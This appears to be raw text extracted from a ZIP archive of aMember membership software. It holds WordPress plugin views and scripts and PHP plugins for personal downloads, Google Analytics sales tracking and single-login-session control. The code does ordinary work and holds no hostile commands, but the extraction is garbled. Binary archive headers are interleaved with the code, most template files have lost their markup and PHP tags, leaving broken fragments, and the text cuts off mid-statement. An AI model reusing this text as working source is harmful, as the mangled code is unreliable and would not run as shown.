    PK\u% Tprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/shortcode.jsnu[jQuery(document).ready(function(){ jQuery('.am4shortcode').shortcodemenu(); }); ;(function($) { $.fn.shortcodemenu = function(param) { return this.each(function(){ var menu = { state : false, show : function(){ if(jQuery(this).find('.am4shortcode-menu').length) return; var s = jQuery(this).find('.am4shortcode'); var d = jQuery("
    "); d.appendTo(this); var ins = jQuery("insert"); var copy = jQuery("copy"); var open = jQuery("open"); d.append(ins, " | ", copy); if(s.hasClass("expandable")){ d.append(" | ", open); open.click(menu.open); } ins.click(menu.insert); copy.click(menu.copy); }, hide : function(){ jQuery('.am4shortcode-menu').remove(); }, open : function(e){ e.preventDefault(); jQuery('tr.am4shortcode-help').hide(); jQuery(this).parents('tr').next('tr').show(); }, copy : function(e){ }, insert : function(e){ e.preventDefault(); var win = window.dialogArguments || opener || parent || top; var s = jQuery(this).parent().prev('.am4shortcode'); menu.send_to_editor(s.html()); }, send_to_editor : function(text){ var ed; var win = window.dialogArguments || opener || parent || top; var reg = /(.*)(\[\/\w+\])$/; var close_tag = text.match(reg); if ( typeof win.tinyMCE != 'undefined' && ( ed = win.tinyMCE.activeEditor ) && !ed.isHidden() ) { // restore caret position on IE if(ed.selection && (content = ed.selection.getContent())&&close_tag){ ed.selection.setContent(close_tag[1]+content+close_tag[2]); }else{ ed.execCommand('mceInsertContent', false, text); } } else if ( typeof edInsertContent == 'function' ) { edInsertContent(edCanvas, text); } else { jQuery( edCanvas ).val( jQuery( edCanvas ).val() + text ); } } } jQuery(this).parent().hover(menu.show, menu.hide); jQuery(this).click(menu.open); }); } })(jQuery); PK\eI^USSVprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/bulk_action.jsnu[function bulk_post(action, form){ am_post(action, {data : jQuery(form).serialize()}, function (){ jQuery("#am-protection-settings, #am-remove-protection").hide(200); jQuery("#am-protection-error").html("Setings updated").show(800); jQuery("#am-block").hide(2000); window.location.reload(); }); } jQuery(document).ready(function(){ var amember_block = jQuery("#am-block, #am-remove-protection"); var form = jQuery("#posts-filter"); a = amember_block.appendTo(form); jQuery('.wp-list-table input[type="checkbox"]').change(function (){ setTimeout(function(){ if(jQuery('.wp-list-table input[name^="post"]:checked').length) amember_block.show(); else amember_block.hide(); },100); }); jQuery('#am4-update-btn').click(function (e){ e.preventDefault(); bulk_post('save', this.form); }); jQuery("#am-remove-protection-link").click(function(e){ e.preventDefault(); bulk_post('remove', jQuery(this).parents("form").get()); }) });PK\&ee_protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/widget_login_form.phtmlnu[




    PK\p`protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/shortcode_am4guest.phtmlnu[


    [am4guest] [am4info var=loginurl] [/am4guest]

    PK\eWK&&Xprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/protection.phtmlnu[
    style="display:none;">
    >
    getController())$controller->actionInput("save"); ?> PK\>]protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/bulk_protection.phtmlnu[ PK\d;[protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/errormessages.phtmlnu[getController()->isSimple();?>

    $option) : ?>
           


    getController()->actionInput('save');?>

    PK\ް++Zprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/jquery.textarea.jsnu[/* * Tabby jQuery plugin version 0.12 * * Ted Devito - http://teddevito.com/demos/textarea.html * * Copyright (c) 2009 Ted Devito * * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following * conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ // create closure (function($) { // plugin definition $.fn.tabby = function(options) { //debug(this); // build main options before element iteration var opts = $.extend({}, $.fn.tabby.defaults, options); var pressed = $.fn.tabby.pressed; // iterate and reformat each matched element return this.each(function() { $this = $(this); // build element specific options var options = $.meta ? $.extend({}, opts, $this.data()) : opts; $this.bind('keydown',function (e) { var kc = $.fn.tabby.catch_kc(e); if (16 == kc) pressed.shft = true; /* because both CTRL+TAB and ALT+TAB default to an event (changing tab/window) that will prevent js from capturing the keyup event, we'll set a timer on releasing them. */ if (17 == kc) {pressed.ctrl = true; setTimeout("jQuery.fn.tabby.pressed.ctrl = false;",1000);} if (18 == kc) {pressed.alt = true; setTimeout("jQuery.fn.tabby.pressed.alt = false;",1000);} if (9 == kc && !pressed.ctrl && !pressed.alt) { e.preventDefault; // does not work in O9.63 ?? pressed.last = kc; setTimeout("jQuery.fn.tabby.pressed.last = null;",0); process_keypress ($(e.target).get(0), pressed.shft, options); return false; } }).bind('keyup',function (e) { if (16 == $.fn.tabby.catch_kc(e)) pressed.shft = false; }).bind('blur',function (e) { // workaround for Opera -- http://www.webdeveloper.com/forum/showthread.php?p=806588 if (9 == pressed.last) $(e.target).one('focus',function (e) {pressed.last = null;}).get(0).focus(); }); }); }; // define and expose any extra methods $.fn.tabby.catch_kc = function(e) { return e.keyCode ? e.keyCode : e.charCode ? e.charCode : e.which; }; $.fn.tabby.pressed = {shft : false, ctrl : false, alt : false, last: null}; // private function for debugging function debug($obj) { if (window.console && window.console.log) window.console.log('textarea count: ' + $obj.size()); }; function process_keypress (o,shft,options) { var scrollTo = o.scrollTop; //var tabString = String.fromCharCode(9); // gecko; o.setSelectionRange is only available when the text box has focus if (o.setSelectionRange) gecko_tab (o, shft, options); // ie; document.selection is always available else if (document.selection) ie_tab (o, shft, options); o.scrollTop = scrollTo; } // plugin defaults $.fn.tabby.defaults = {tabString : String.fromCharCode(9)}; function gecko_tab (o, shft, options) { var ss = o.selectionStart; var es = o.selectionEnd; // when there's no selection and we're just working with the caret, we'll add/remove the tabs at the caret, providing more control if(ss == es) { // SHIFT+TAB if (shft) { // check to the left of the caret first if ("\t" == o.value.substring(ss-options.tabString.length, ss)) { o.value = o.value.substring(0, ss-options.tabString.length) + o.value.substring(ss); // put it back together omitting one character to the left o.focus(); o.setSelectionRange(ss - options.tabString.length, ss - options.tabString.length); } // then check to the right of the caret else if ("\t" == o.value.substring(ss, ss + options.tabString.length)) { o.value = o.value.substring(0, ss) + o.value.substring(ss + options.tabString.length); // put it back together omitting one character to the right o.focus(); o.setSelectionRange(ss,ss); } } // TAB else { o.value = o.value.substring(0, ss) + options.tabString + o.value.substring(ss); o.focus(); o.setSelectionRange(ss + options.tabString.length, ss + options.tabString.length); } } // selections will always add/remove tabs from the start of the line else { // split the textarea up into lines and figure out which lines are included in the selection var lines = o.value.split("\n"); var indices = new Array(); var sl = 0; // start of the line var el = 0; // end of the line var sel = false; for (var i in lines) { el = sl + lines[i].length; indices.push({start: sl, end: el, selected: (sl <= ss && el > ss) || (el >= es && sl < es) || (sl > ss && el < es)}); sl = el + 1;// for "\n" } // walk through the array of lines (indices) and add tabs where appropriate var modifier = 0; for (var i in indices) { if (indices[i].selected) { var pos = indices[i].start + modifier; // adjust for tabs already inserted/removed // SHIFT+TAB if (shft && options.tabString == o.value.substring(pos,pos+options.tabString.length)) { // only SHIFT+TAB if there's a tab at the start of the line o.value = o.value.substring(0,pos) + o.value.substring(pos + options.tabString.length); // omit the tabstring to the right modifier -= options.tabString.length; } // TAB else if (!shft) { o.value = o.value.substring(0,pos) + options.tabString + o.value.substring(pos); // insert the tabstring modifier += options.tabString.length; } } } o.focus(); var ns = ss + ((modifier > 0) ? options.tabString.length : (modifier < 0) ? -options.tabString.length : 0); var ne = es + modifier; o.setSelectionRange(ns,ne); } } function ie_tab (o, shft, options) { var range = document.selection.createRange(); if (o == range.parentElement()) { // when there's no selection and we're just working with the caret, we'll add/remove the tabs at the caret, providing more control if ('' == range.text) { // SHIFT+TAB if (shft) { var bookmark = range.getBookmark(); //first try to the left by moving opening up our empty range to the left range.moveStart('character', -options.tabString.length); if (options.tabString == range.text) { range.text = ''; } else { // if that didn't work then reset the range and try opening it to the right range.moveToBookmark(bookmark); range.moveEnd('character', options.tabString.length); if (options.tabString == range.text) range.text = ''; } // move the pointer to the start of them empty range and select it range.collapse(true); range.select(); } else { // very simple here. just insert the tab into the range and put the pointer at the end range.text = options.tabString; range.collapse(false); range.select(); } } // selections will always add/remove tabs from the start of the line else { var selection_text = range.text; var selection_len = selection_text.length; var selection_arr = selection_text.split("\r\n"); var before_range = document.body.createTextRange(); before_range.moveToElementText(o); before_range.setEndPoint("EndToStart", range); var before_text = before_range.text; var before_arr = before_text.split("\r\n"); var before_len = before_text.length; // - before_arr.length + 1; var after_range = document.body.createTextRange(); after_range.moveToElementText(o); after_range.setEndPoint("StartToEnd", range); var after_text = after_range.text; // we can accurately calculate distance to the end because we're not worried about MSIE trimming a \r\n var end_range = document.body.createTextRange(); end_range.moveToElementText(o); end_range.setEndPoint("StartToEnd", before_range); var end_text = end_range.text; // we can accurately calculate distance to the end because we're not worried about MSIE trimming a \r\n var check_html = $(o).html(); $("#r3").text(before_len + " + " + selection_len + " + " + after_text.length + " = " + check_html.length); if((before_len + end_text.length) < check_html.length) { before_arr.push(""); before_len += 2; // for the \r\n that was trimmed if (shft && options.tabString == selection_arr[0].substring(0,options.tabString.length)) selection_arr[0] = selection_arr[0].substring(options.tabString.length); else if (!shft) selection_arr[0] = options.tabString + selection_arr[0]; } else { if (shft && options.tabString == before_arr[before_arr.length-1].substring(0,options.tabString.length)) before_arr[before_arr.length-1] = before_arr[before_arr.length-1].substring(options.tabString.length); else if (!shft) before_arr[before_arr.length-1] = options.tabString + before_arr[before_arr.length-1]; } for (var i = 1; i < selection_arr.length; i++) { if (shft && options.tabString == selection_arr[i].substring(0,options.tabString.length)) selection_arr[i] = selection_arr[i].substring(options.tabString.length); else if (!shft) selection_arr[i] = options.tabString + selection_arr[i]; } if (1 == before_arr.length && 0 == before_len) { if (shft && options.tabString == selection_arr[0].substring(0,options.tabString.length)) selection_arr[0] = selection_arr[0].substring(options.tabString.length); else if (!shft) selection_arr[0] = options.tabString + selection_arr[0]; } if ((before_len + selection_len + after_text.length) < check_html.length) { selection_arr.push(""); selection_len += 2; // for the \r\n that was trimmed } before_range.text = before_arr.join("\r\n"); range.text = selection_arr.join("\r\n"); var new_range = document.body.createTextRange(); new_range.moveToElementText(o); if (0 < before_len) new_range.setEndPoint("StartToEnd", before_range); else new_range.setEndPoint("StartToStart", before_range); new_range.setEndPoint("EndToEnd", range); new_range.select(); } } } // end of closure })(jQuery); PK\^protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/shortcode_am4aff.phtmlnu[

    [am4aff] [/am4aff]

    PK\V]protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/page_protection.phtmlnu[
    >
    >
    >
    PK\D ll]protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/post_protection.phtmlnu[
    >
    >
    PK\`protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/widget_after_login.phtmlnu[
    !
    PK\?I=bprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/shortcode_am4afflink.phtmlnu[



    [am4afflink id ='1' title='Your Affiliate Link']

    PK\71Wc!c!_protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/shortcode_am4show.phtmlnu[

    resourceAccess("not_have", '', 'not_have', __('Select Products that user should not have', 'am4-plugin'), self::RESOURCE_ACCESS_SKIP_PERIOD);?>

    resourceAccess("have", '', 'have', __('Select Products that user should have', 'am4-plugin'));?>

    errorMessageSelect("","guest_error");?>

    errorMessageSelect("","user_error");?>
    notactive
    Example:
    [am4show notactive=0]content[/am4show] is equivalent to [am4guest]content[/am4guest]
    have
    have='p2;g1' -
    have='p1,0,10;p2,30,60' -
    have='p1,10;p2'
    have='p1,0,-1' -
    have='p=-1,10,20' -
    not_have
    not_have='p1;p2' -
    user_error
    guest_error
    [am4show have='p1' user_error='amember_error' guest_error='amember_guest_error'] [/am4show]
    [am4show not_have='g1'] [/am4show]
    [am4show] [/am4show]
    PK\1_protect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/views/shortcode_am4info.phtmlnu[


    [am4info var=signupurl]http://localhost/amember/signup
    [am4info var=loginurl]http://localhost/amember/login
    [am4info var=logouturl]http://localhost/amember/logout
    [am4info var=renewurl]http://localhost/amember/member/renew
    [am4info var=renewurl title="Renew Your Membership"]<a href='http://localhost/amember/member/renew'>Renew Your Membership</a>
    PK\ҴQoo$protect/wordpress/Nexus/layout.phtmlnu[plugins_protect->get('wordpress')->startLayout($this, $title, true); get_header(); ?>
    misc.personal-content.notify_user 1 en text %site_title%: New file(s) uploaded to your account New file(s) uploaded to your account: %files% CUT; } function init() { parent::init(); $this->getDi()->uploadTable->defineUsage(self::UPLOAD_PREFIX, 'user', 'personal_content', UploadTable::STORE_DATA_BLOB_SERIALIZE, "Personal User Download [%login%, %name_f% %name_l%]", '/admin-users?_u_a=edit&_u_id=%user_id%'); } function _initSetupForm(Am_Form_Setup $form) { $form->setTitle(___('Personal Content')); $form->addElement('email_checkbox', 'notify_user') ->setLabel(___('Notify User about new file upload')); } function onSetupEmailTemplateTypes(Am_Event $event) { $event->addReturn(array( 'id' => 'misc.personal-content.notify_user', 'title' => 'Notify User about new file upload', 'mailPeriodic' => Am_Mail::REGULAR, 'vars' => array('user', 'files' => 'Name of uploaded files'), ), 'misc.personal-content.notify_user'); } function onGetUploadPrefixList(Am_Event $event) { $event->addReturn(array( Am_Upload_Acl::IDENTITY_TYPE_ADMIN => array( 'grid_u[edit]' => Am_Upload_Acl::ACCESS_ALL) ), "personal-content"); } function onGridUserInitForm(Am_Event $event) { if (!$this->hasPermission()) return; $gr = $event->getGrid()->getForm() ->addAdvFieldset('personal_content') ->setLabel(___('Personal Content')); $gr->addUpload('_personal_content', array('multiple' => 1), array('prefix' => self::UPLOAD_PREFIX)) ->setLabel(___("Personal Content\n" . 'These files will be available for downloads only for this user on his dashboard')); } function onGridUserBeforeSave(Am_Event $event) { if (!$this->hasPermission()) return; $notify = $this->getConfig('notify_user'); $user = $event->getGrid()->getRecord(); $val = $event->getGrid()->getForm()->getValue(); $pc = isset($val['_personal_content']) ? array_filter($val['_personal_content']) : array(); $pc_before = array(); if ($notify && ($personal_content = $user->data()->getBlob('personal_content'))) { $pc_before = unserialize($personal_content); } $user->data()->setBlob('personal_content', $pc ? serialize($pc) : null); if (!$user->unsubscribed && $notify && ($diff = array_diff($pc, $pc_before))) { $files = array(); foreach ($diff as $d) { $f = $this->getDi()->plugins_storage->getFile($d); $files[] = $f->getName(); } $files = implode(', ', $files); if($et = Am_Mail_Template::load('misc.personal-content.notify_user', $user->lang)) { $et->setUser($user); $et->setFiles($files); $et->send($user); } } } public function onAdminMenu(Am_Event $e) { if ($page = $e->getMenu()->findOneBy('id', 'users')) { $page->addPage(array( 'id' => 'personal-content', 'action' => 'upload', 'label' => ___('Personal Content'), 'route' => 'misc', 'params' => array( 'plugin_id' => $this->getId() ), 'resource' => self::ADMIN_PERM_ID )); } } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $action = $request->getActionName(); switch ($action) { case 'upload': return $this->uploadAction($request); break; default: $user = $this->getDi()->user; $path = $request->getParam('path'); if (!in_array($path, unserialize($user->data()->getBlob('personal_content')))) { throw new Am_Exception_AccessDenied(); } $f = $this->getDi()->plugins_storage->getFile($path); if ($path = $f->getLocalPath()) { @ini_set('zlib.output_compression', 'Off'); // for IE $helper = new Am_Mvc_Controller_Action_Helper_SendFile(); $helper->sendFile($path, $f->getMime(), array( //'cache'=>array('max-age'=>3600), 'filename' => $f->getName(), )); } else { $response->redirectLocation($f->getUrl(600)); } } } function uploadAction(Am_Mvc_Request $request) { if (!$this->getDi()->authAdmin->getUserId()) { throw new Am_Exception_AccessDenied; } $this->getDi()->authAdmin->getUser()->checkPermission(self::ADMIN_PERM_ID); $form = new Am_Form_Admin; $form->addMagicSelect('access') ->setLabel(___('Upload File to Active Users of')) ->loadOptions($this->getDi()->productTable->getProductOptions()) ->addRule('required'); $form->addUpload('_personal_content', array('multiple' => 1), array('prefix' => self::UPLOAD_PREFIX)) ->setLabel(___("Personal Content\n" . 'These files will be available for downloads only for this user on his dashboard')); $gr = $form->addGroup(); $gr->setSeparator(' '); $gr->addAdvCheckbox('notify_user'); $gr->addElement('email_link', 'misc.personal-content.notify_user'); $gr->setLabel(___('Notify User about new file upload')); $form->addSaveButton('Upload'); if ($form->isSubmitted() && $form->validate()) { $var = $form->getValue(); $q = $this->getDi()->db->queryResultOnly("SELECT DISTINCT u.* FROM ?_user u LEFT JOIN ?_access a USING (user_id) WHERE a.product_id IN (?a) AND a.begin_date<=? AND a.expire_date>=?", $this->getDi()->productTable->extractProductIds($var['access']), sqlDate('now'), sqlDate('now')); while ($row = $this->getDi()->db->fetchRow($q)) { $user = $this->getDi()->userRecord; $user->fromRow($row); $pc = $user->data()->getBlob('personal_content'); $pc = $pc ? unserialize($pc) : array(); $diff = array_diff($var['_personal_content'], $pc); $pc = array_unique(array_filter(array_merge($pc, $var['_personal_content']))); $user->data()->setBlob('personal_content', $pc ? serialize($pc) : null); $user->save(); if (!$user->unsubscribed && $diff && $var['notify_user']) { $files = array(); foreach ($diff as $d) { $f = $this->getDi()->plugins_storage->getFile($d); $files[] = $f->getName(); } $files = implode(', ', $files); $et = Am_Mail_Template::load('misc.personal-content.notify_user', $user->lang); $et->setUser($user); $et->setFiles($files); $et->send($user); } } $view = $this->getDi()->view; $view->title = ___('Personal Content: Upload File'); $view->content = ___("Files were uploaded! %sBack%s", '', ''); $view->display('admin/layout.phtml'); } else { $view = $this->getDi()->view; $view->title = ___('Personal Content: Upload File'); $view->content = (string) $form; $view->display('admin/layout.phtml'); } } function onGridUserValuesToForm(Am_Event $event) { if (!$this->hasPermission()) return; $args = $event->getArgs(); $values = $args[0]; $user = $event->getGrid()->getRecord(); if ($personal_content = $user->data()->getBlob('personal_content')) { $values['_personal_content'] = unserialize($personal_content); $event->setArg(0, $values); } } function onInitFinished() { if (($user = $this->getDi()->auth->getUser()) && $user->data()->getBlob('personal_content')) { $this->getDi()->blocks->add(new Am_Block('member/main/right', ___('Your Personal Downloads'), 'personal-content', $this, array($this, 'renderBlock'))); } } function renderBlock(Am_View $view) { $content = unserialize($this->getDi()->auth->getUser()->data()->getBlob('personal_content')); $out = ''; foreach ($content as $path) { if (!$path) continue; $file = $this->getDi()->plugins_storage->getFile($path); $vars = array( 'path' => $path ); $out .= sprintf('
  • %s
  • ', $view->url('misc/personal-content', $vars), $view->escape($file->getName())); } return sprintf('
      %s
    ', $out); } function onGetPermissionsList(Am_Event $event) { $event->addReturn(___('Personal Content'), self::ADMIN_PERM_ID); } function hasPermission() { return $this->getDi()->authAdmin->getUser()->hasPermission(self::ADMIN_PERM_ID); } function getReadme() { return <<Plugin Features 1. This plugin allow you to upload some files to specific user accounts. You can do it from admin interface in user profile at aMember CP -> Users -> Browse Users -> (edit) in section 'Personal Content' 2. You can upload same file to multiple user accouns in batch (based on user access). You can do it at aMember CP -> Users -> Personal Content User in his dashboard will see new widget with files available for his account. CUT; } }PK\j;/K#K#misc/google-analytics.phpnu[id = $di->config->get('google_analytics'); parent::__construct($di, $config); } public function isConfigured() { return !empty($this->id); } function onSetupForms(Am_Event_SetupForms $forms) { $form = new Am_Form_Setup('google_analytics'); $form->setTitle("Google Analytics"); $forms->addForm($form); $form->addText('google_analytics') ->setLabel("Google Analytics Account ID\n" . 'To enable automatic sales and hits tracking with GA, enter Google Analytics cAccount ID into this field. Where can I find my tracking ID? The tracking ID will look like UA-1231231-1. Please note - this tracking is only for pages displayed by aMember, pages that are just protected by aMember, cannot be tracked. Use '. 'GA instructions how to add tracking code to your own pages. '); $form->addAdvCheckbox("google_analytics_only_sales_code") ->setLabel("Include only sales code\n" . "Enable this if you already have tracking code in template"); $form->addAdvCheckbox("google_analytics_track_free_signups") ->setLabel("Track free signups"); $form->addSelect("analytics_version") ->setLabel("Analytics Version") ->loadOptions(array( 'google' => 'Google Analytics', 'universal' => 'Universal Analytics', )); } function onAfterRender(Am_Event_AfterRender $event) { if ($this->done) return; if (preg_match('/thanks\.phtml$/', $event->getTemplateName()) && $event->getView()->invoice && $event->getView()->payment) { $this->done += $event->replace("||i", $this->getHeader() . $this->getSaleCode($event->getView()->invoice, $event->getView()->payment) . "", 1); if ($this->done) { $payment = $event->getView()->payment; $payment->data()->set(self::TRACKED_DATA_KEY, 1); $payment->save(); } } elseif (preg_match('/signup\/signup.*\.phtml$/', $event->getTemplateName())) { $this->done += $event->replace("||i", $this->getHeader() . $this->getTrackingCode(). $this->getSignupCode(). "", 1); } else { if ($user_id = $this->getDi()->auth->getUserId()) { $payments = $this->getDi()->invoicePaymentTable->findBy(array( 'user_id' => $user_id, 'dattm' => '>' . sqlTime('-5 days') )); foreach ($payments as $payment) { if ($payment->data()->get(self::TRACKED_DATA_KEY)) continue; $this->done += $event->replace("||i", $this->getHeader() . $this->getSaleCode($payment->getInvoice(), $payment) . "", 1); if ($this->done) { $payment->data()->set(self::TRACKED_DATA_KEY, 1); $payment->save(); } break; } } if (!$this->done && !(defined('AM_ADMIN') && AM_ADMIN) && !$this->getDi()->config->get("google_analytics_only_sales_code")) { $this->done += $event->replace("||i", $this->getHeader() . $this->getTrackingCode() . "", 1); } } } function getTrackingCode() { if($this->getDi()->config->get('analytics_version', 'google') == 'universal') { return << ga('create', '{$this->id}', 'auto'); ga('send', 'pageview'); CUT; } return << if (typeof(_gaq)=='object') { // sometimes google-analytics can be blocked and we will avoid error _gaq.push(['_setAccount', '{$this->id}']); _gaq.push(['_trackPageview']); } CUT; } function getSignupCode() { } function getSaleCode(Invoice $invoice, InvoicePayment $payment) { if($this->getDi()->config->get('analytics_version', 'google') == 'universal') { $out = << ga('create', '{$this->id}', 'auto'); ga('send', 'pageview'); CUT; } else { $out = << if (typeof(_gaq)=='object') { // sometimes google-analytics can be blocked and we will avoid error _gaq.push(['_setAccount', '{$this->id}']); _gaq.push(['_trackPageview']); } CUT; } if (empty($payment->amount) && !$this->getDi()->config->get('google_analytics_track_free_signups')) { return $out; } elseif (empty($payment->amount)) { $a = array( $invoice->public_id, $this->getDi()->config->get('site_title'), 0, 0, 0, $invoice->getCity(), $invoice->getState(), $invoice->getCountry(), ); } else { $a = array( $payment->transaction_id, $this->getDi()->config->get('site_title'), $payment->amount - $payment->tax - $payment->shipping, (float)$payment->tax, (float)$payment->shipping, $invoice->getCity(), $invoice->getState(), $invoice->getCountry(), ); } $a = implode(",\n", array_map('json_encode', $a)); $items = ""; foreach ($invoice->getItems() as $item) { if($this->getDi()->config->get('analytics_version', 'google') == 'universal') { $it = json_encode(array( 'id' => $payment->transaction_id, 'name' => $item->item_title, 'sku' => $item->item_id, 'price' => moneyRound($item->first_total/$item->qty), 'quantity' => $item->qty, )); $items .= "ga('ecommerce:addItem', $it);\n"; } else { $items .= "['_addItem', '$payment->transaction_id', '$item->item_id', '$item->item_title','', $item->first_total, $item->qty],"; } } if($this->getDi()->config->get('analytics_version', 'google') == 'universal') { $tr = json_encode(array( 'id' => $payment->transaction_id, 'affiliation' => $this->getDi()->config->get("site_title"), 'revenue' => empty($payment->amount) ? 0 : ($payment->amount - $payment->tax - $payment->shipping), 'shipping' => empty($payment->amount) ? 0 : $payment->shipping, 'tax' => empty($payment->amount) ? 0 : $payment->tax, )); return $out . << ga('require', 'ecommerce'); ga('ecommerce:addTransaction', $tr); $items ga('ecommerce:send'); CUT; } return $out . << if (typeof(_gaq)=='object') { // sometimes google-analytics can be blocked and we will avoid error _gaq.push( ['_addTrans', $a], $items ['_trackTrans'] ); } CUT; } function getHeader() { if($this->getDi()->config->get('analytics_version', 'google') == 'universal') { return << CUT; } return << CUT; } }PK\.misc/misc-plugin-readme.txtnu[ PLUGIN INSTALLATION 1. Upload plugin code to folder 'amember/application/default/plugins/misc' 2. Enable plugin at aMember CP -> Configuration -> Setup/Configuration -> Plugins (Other Plugins) 3. Visit plugin configuration section aMember CP -> Configuration -> Setup/Configuration -> [Plugin Name] to configure plugin. Plugin-specific readme is displayed this page at bottom. PK\B6++misc/single-login-session.phpnu[db->query("CREATE TABLE ?_login_session ( login_session_id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, user_id INT UNSIGNED NOT NULL, remote_addr varchar(39) NOT NULL, session_id varchar(255) NOT NULL, modified datetime NOT NULL, need_logout TINYINT NOT NULL, INDEX user_id (user_id) ) CHARACTER SET utf8 COLLATE utf8_general_ci"); } catch (Am_Exception_Db $e) { } $di = Am_Di::getInstance(); $name = 'misc.single-login-session.notify_admin'; $body = <<db->selectCell("SELECT COUNT(*) AS cnt FROM ?_email_template WHERE name = ?", $name); if (!$cnt) { $di->db->query("INSERT INTO ?_email_template (name,lang,format,subject,txt) VALUES (?,?,?,?,?)", $name, 'en', 'text', 'Simultaneous login detected [%user.login%]', $body); } $name = 'misc.single-login-session.notify_user'; $body = <<db->selectCell("SELECT COUNT(*) AS cnt FROM ?_email_template WHERE name = ?", $name); if (!$cnt) { $di->db->query("INSERT INTO ?_email_template (name,lang,format,subject,txt) VALUES (?,?,?,?,?)", $name, 'en', 'text', 'Simultaneous login detected [%user.login%]', $body); } } function _initSetupForm(Am_Form_Setup $form) { $form->setTitle(___('Single Login Session')); $form->addText('timeout', array('size'=>4)) ->setLabel(___('Session Timeout, min')); $form->setDefault('timeout', 5); $form->addSelect('action') ->setId('form-action') ->setLabel(___('Action on Simultaneous Login Attempt')) ->loadOptions(array( self::ACTION_LOGIN_REJECT => ___('Show error and do not allow to login until session timeout'), self::ACTION_LOGOUT_OTHER => ___('Delete other session when user try to login from new one'), self::ACTION_NOTHING => ___('Nothing, allow simultaneous login for same user from different computers') )); $form->addTextarea('error', array('class' => 'el-wide')) ->setId('form-error') ->setLabel(___('Error Message')); $form->setDefault('error', 'There is already exits active login session for your account. Simultaneous login from different computers is not allowed.'); $error = self::ACTION_LOGIN_REJECT; $form->addScript() ->setScript(<<addElement('email_checkbox', 'notify_admin') ->setLabel(___('Notify Admin on Simultaneous Login')); $form->addElement('email_checkbox', 'notify_user') ->setLabel(___('Notify User on Simultaneous Login')); } function onSetupEmailTemplateTypes(Am_Event $event) { $event->addReturn(array( 'id' => 'misc.single-login-session.notify_admin', 'title' => ___('Notify Admin on Simultaneous Login'), 'mailPeriodic' => Am_Mail::PRIORITY_LOW, 'isAdmin' => true, 'vars' => array('user'), ), 'misc.single-login-session.notify_admin'); $event->addReturn(array( 'id' => 'misc.single-login-session.notify_user', 'title' => ___('Notify User on Simultaneous Login'), 'mailPeriodic' => Am_Mail::PRIORITY_LOW, 'vars' => array('user'), ), 'misc.single-login-session.notify_user'); } function onAuthAfterLogout(Am_Event_AuthAfterLogout $event) { $user = $event->getUser(); $this->getDi()->loginSessionTable->deleteBy(array( 'user_id' => $user->pk(), 'session_id' => Zend_Session::getId() )); } function onAuthAfterLogin(Am_Event_AuthAfterLogin $event) { $user = $event->getUser(); $this->getDi()->loginSessionTable->insert(array( 'user_id' => $user->pk(), 'session_id' => Zend_Session::getId(), 'need_logout' => 0, 'modified' => sqlTime('now'), 'remote_addr' => $_SERVER['REMOTE_ADDR'] )); } function onAuthCheckUser(Am_Event $event) { /* @var $user User */ $user = $event->getUser(); $recs = $this->getDi()->loginSessionTable->findBy(array( 'user_id' => $user->pk(), 'session_id' => '<>' . Zend_Session::getId(), 'modified' => '>' . sqlTime(sprintf('-%d minutes', $this->getConfig('timeout', 5))), 'need_logout' => 0)); if ($recs) { switch ($this->getConfig('action', self::ACTION_LOGIN_REJECT)) { case self::ACTION_LOGIN_REJECT: $event->setReturn(new Am_Auth_Result(-100, $this->getConfig('error', 'There is already exits active login session for your account. Simultaneous login from different computers is not allowed.'))); $event->stop(); break; case self::ACTION_LOGOUT_OTHER : foreach ($recs as $rec) $rec->updateQuick('need_logout', 1); break; case self::ACTION_NOTHING : break; } if ($this->getConfig('notify_admin') && !$this->getDi()->store->get('single-login-session-detected-' . $user->pk())) { $this->getDi()->store->set('single-login-session-detected-' . $user->pk(), 1, '+20 minutes'); if ($et = Am_Mail_Template::load('misc.single-login-session.notify_admin')) { $et->setUser($user); $et->sendAdmin(); } } if ($this->getConfig('notify_user') && !$this->getDi()->store->get('single-login-session-detected-user-' . $user->pk())) { $this->getDi()->store->set('single-login-session-detected-user-' . $user->pk(), 1, '+20 minutes'); if ($et = Am_Mail_Template::load('misc.single-login-session.notify_user')) { $et->setUser($user); $et->send($user); } } } } function onInitFinished() { if ($user_id = $this->getDi()->auth->getUserId()) { $rec = $this->getDi()->loginSessionTable->findFirstBy(array( 'user_id' => $user_id, 'session_id' => 